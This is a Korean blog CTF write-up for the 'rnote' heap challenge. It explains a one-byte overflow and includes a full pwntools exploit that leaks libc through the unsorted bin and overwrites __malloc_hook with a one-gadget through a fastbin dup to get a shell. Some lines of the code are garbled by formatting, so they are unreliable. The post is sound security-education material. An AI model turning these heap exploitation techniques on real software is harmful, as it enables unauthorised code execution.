rctf - rnote

2021. 1. 27. 15:11CTF's Write-up

 

 

문제를 확인해보면 전형적인 힙문제같다, 1.생성 2.삭제 3.출력 기능이 있다.

 

ida로 메인 코드를 확인해보면

 

 

ida add

 

add 에서 for ( i = 0; i <= 15 && *((_DWORD *)&unk_6020E0 + 8 * i); ++i ) 이기때문에 1byte bof 가 발생한다.

 

exploit 과정을 아래와 같다.

1. unsorted bin을 활용해서 main_arena leak

2.1byte bof 로 메모리 변조 --> malloc_hook

3. malloc hook ovewrite

 

payload 는 아래와 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
 
= process("./RNote")
= ELF("./RNote")
context.log_level = "debug"
= ELF("/lib/x86_64-linux-gnu/libc.so.6")
arena_off = 0x3c4b20
oneshot_off = 0xf1147
malloc_hook_off = l.symbols['__malloc_hook']
 
 
def add(size, title, content) :
    r.sendlineafter("choice: ""1")
    r.sendlineafter("size: "str(size))
    r.sendlineafter("title: ", title)
    r.sendlineafter("content: ", content)
 
def delete(delete) :
    r.sendlineafter("choice: ""2")
    r.sendlineafter("delete: "str(delete))
 
def show(show) :
    r.sendlineafter("choice: ""3")
    r.sendlineafter("show: "str(show))
 
add(200"AAAA""AAAA")
add(200"AAAA""AAAA")
delete(0)
add(200"AAAA""AAAA")
show(0)
 
r.recvuntil("\x7f")
leak_add = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak_add - (arena_off + 88)
oneshot_add = libc_base + oneshot_off
malloc_hook_add = libc_base + malloc_hook_off
 
log.info("leak_add = " + hex(leak_add))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
log.info("malloc_hook_add = " + hex(malloc_hook_add))
 
delete(0)
delete(1)
delete(2)
 
add(96"AAAA""AAAA")
add(96"BBBB""BBBB")
add(96"C"*16+"\x10""CCCC")
 
delete(0)
delete(1)
delete(2)
 
add(96,"AAAA",p64(malloc_hook_add-0x23)) #fastbin dup
add(96,"BBBB","BBBB")
add(96,"CCCC","CCCC")
add(96,"DDDD","D"*19 + p64(oneshot_add)) #malloc in malloc_hook-0x23
 
r.sendlineafter("Your choice: ","1")
r.sendlineafter("note size: ","1")
 
r.interactive()
 
cs

 

실행시키면

 

 

 

shell 획득이 가능하다.

 

'CTF's Write-up' 카테고리의 다른 글

Dreamhack - broken-png  (0) 2021.02.04
DreamHack - login-1  (0) 2021.02.03
DreamHack - php-1  (0) 2021.01.12
DreamHack - rev-basic-2  (0) 2021.01.12
HackCTF - World Best Encryption Tool  (0) 2021.01.11